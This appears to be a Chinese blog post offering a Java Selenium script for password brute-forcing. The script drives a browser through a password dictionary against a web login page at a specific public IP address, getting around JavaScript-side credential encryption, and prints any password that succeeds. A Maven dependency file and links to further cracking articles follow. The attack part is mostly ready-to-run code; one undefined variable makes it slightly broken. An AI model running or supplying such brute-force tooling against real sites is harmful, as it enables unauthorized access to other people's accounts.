经常碰到网站,账号密码通过js加密后进行提交。通过burp拦截抓到的账号密码是加密后的,所以无法通过burp instruder进行破解。只能模拟浏览器填写表单并点击登录按钮进行破解。于是想到了自动化web测试工具selenium,代码如下,测试效果还不错。

package com.example.tests;

import java.util.regex.Pattern;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileReader;
import java.util.concurrent.TimeUnit;
import org.junit.*;
import static org.junit.Assert.*;
import static org.hamcrest.CoreMatchers.*;
import org.openqa.selenium.*;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.openqa.selenium.support.ui.Select;

public class GS {
private WebDriver driver;
private String baseUrl;
private boolean acceptNextAlert = true;
private StringBuffer verificationErrors = new StringBuffer();

@Before
public void setUp() throws Exception {
driver = new FirefoxDriver();
baseUrl = "http://223.116.34.113:81/";
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
}

@Test
public void testGS() throws Exception {

File file = new File("C:\\Users\\root\\Desktop\\xxx\\password.txt");   //加载密码字典
FileReader fr = new FileReader(file);
@SuppressWarnings("resource")
BufferedReader br = new BufferedReader(fr);
@SuppressWarnings("unused")
String str = "";

while ((str = br.readLine()) != null) {   //循环读取字典里的每一行
String url = baseUrl + "/web/login.aspx?" + str;  // 后边加上str是为了每次强制刷新url,加不加看具体情况
driver.get(url);
driver.findElement(By.id("txt_UserID")).clear();  //清空用户名输入框
driver.findElement(By.id("txt_UserID")).sendKeys(admin);  //设置用户名
driver.findElement(By.id("txt_Password")).clear();  //清空密码输入框
driver.findElement(By.id("txt_Password")).sendKeys(str);  //设置密码

driver.findElement(By.xpath("//a/span")).click();  //模拟点击登录按钮
Thread.sleep(1000);   //等待一秒,是否等待看具体情况。
String cururl = driver.getCurrentUrl();   // 获取当前url
if (!cururl.equals(url + "#")) {   //如果登录成功会跳转,则url会发生变化
System.out.println(str);   //输入可以登录成功的密码

}
}
}

@After
public void tearDown() throws Exception {
driver.quit();
String verificationErrorString = verificationErrors.toString();
if (!"".equals(verificationErrorString)) {
fail(verificationErrorString);
}
}

private boolean isElementPresent(By by) {
try {
driver.findElement(by);
return true;
} catch (NoSuchElementException e) {
return false;
}
}

private boolean isAlertPresent() {
try {
driver.switchTo().alert();
return true;
} catch (NoAlertPresentException e) {
return false;
}
}

private String closeAlertAndGetItsText() {
try {
Alert alert = driver.switchTo().alert();
String alertText = alert.getText();
if (acceptNextAlert) {
alert.accept();
} else {
alert.dismiss();
}
return alertText;
} finally {
acceptNextAlert = true;
}
}
}

以上代码依赖如下(maven):pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>F</groupId>
<artifactId>F</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>F</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-java</artifactId>
<version>2.53.0</version>
</dependency>

<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-firefox-driver</artifactId>
<version>2.53.0</version>
</dependency>

</dependencies>
</project>

使用selenium进行密码破解(绕过账号密码JS加密)的更多相关文章

  1. mysql 暴力破解 root账号密码

    测试数据库的root账号密码大家都忘记了,好吧,那我们就暴力破解吧 1.找到my.cnf vi /etc/my.cnf在[mysqld]的段中加上一句:skip-grant-tables例如:[mys ...

  2. 利用python破解sqlserver账号密码

    一.编写密码测试函数 在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下: connect(server,user,password,databa ...

  3. SVN 密码破解,svn密码本地找回 忘记密码

    svn 密码被保存在本地文件中 C:\Users\[your computer name]\AppData\Roaming\Subversion\auth\svn.simple 文件下. 加密保存 到 ...

  4. Kali-linux破解操作系统用户密码

    当忘记操作系统的密码或者攻击某台主机时,需要知道该系统中某个用户的用户名和密码.本节将分别介绍破解Windows和Linux用户密码. 8.6.1 破解Windows用户密码 Windows系统的用户 ...

  5. CDLinux环境下WiFi密码破解

    > 准备好所需软件以及上篇教程中使用Fbinstool制作的可启动U盘 2 > 解压CDLinux-0.9-spring-0412.iso到U盘的根目录  如图 3 > 打开fbin ...

  6. Word密码破解工具字典攻击用来干什么的

    AOPR全称Advanced Office Password Recovery作为一款专业的Word密码破解工具,是通过暴力破解的方式帮助用户迅速恢复各种Word文档的密码,其中常常会用到字典攻击,这 ...

  7. Kali Linux Web 渗透测试视频教程— 第十三课-密码破解

    Kali Linux Web 渗透测试— 第十三课-密码破解 文/玄魂 目录 Kali Linux Web 渗透测试— 第十三课-密码破解............................... ...

  8. yii2高级版账号密码问题

    yii2高级版默认后台没有密码,生成账号密码步骤: 1. CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` ...

  9. [转]Linux下的暴力密码破解工具Hydra详解

    摘自:http://linzhibin824.blog.163.com/blog/static/735577102013144223127/ 这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破 ...

随机推荐

  1. EPH接收Event Hub Message

    简介: 使用Python SDK,基于EPH方式接收Azure Event Hub中存储的message,EventProcessorHost()中使用Azure Storage存储offerset等 ...

  2. #1214 - The used table type doesn't support FULLTEXT indexes解决办法

    #1214 - The used table type doesn't support FULLTEXT indexes报此错误的原因是:InnoDB不支持FULLTEXT类型的索引. 网上的解决办法 ...

  3. 今日头条&58转转笔试

    昨天参加今日头条和58转转的笔试,因为时间上有冲突,所以主要选择参加头条的笔试. 先说头条: 头条的题型: 一道改错题 三道编程题 一道设计题 感受: 做题目的的时候还是有点紧张的,因为突然遇到题目需 ...

  4. Angularjs学习笔记1_基本技巧

    10.AngularJS ng-click   <button ng-click="clickCounter = clickCounter + 1">Click Me! ...

  5. 数据库open报错ORA-01555: snapshot too old

    原文博客链接地址:数据库open报错ORA-01555: snapshot too old 今天正在东莞蜜月的时候.一个学生说他管理的測试库出问题了,无法open,我们先来看看是什么问题: Recov ...

  6. Tomcat闲聊第二话

    windows下安装Tomcat可以直接下载Installer,需要注意的是,先确保安装了Java虚拟机. 注:默认安装路径为 C:\Program Files\Apache Software Fou ...

  7. knockout+weui+zepto

    主文件wxapp.ts 1>在ts中,建议继承componentui //操作菜单表 actionsheet showactionsheet { title 上拉菜单标题 btns 操作组 建议 ...

  8. php tp验证表单与自动填充函数

    <?php class FormModel extends Model { // 自动验证设置 /* * 一:自动验证 自动验证的定义是这样的:array(field,rule,message, ...

  9. View拖拽 自定义绑定view拖拽的工具类

    由于工作需求,需要用到这种处理方法所以我就写了这个 废话不多说先看效果图 接下来就看代码吧 DragDropManager import android.app.Activity; import an ...

  10. Struts2开发者模式

    在Struts2开发中,这应该是第一个学习配置的值.为了启用 Struts 2 的开发模式,可以通过自动配置显著增加Struts2的开发速度和属性文件加载,以及额外的日志和调试功能. 注:自动重新加载 ...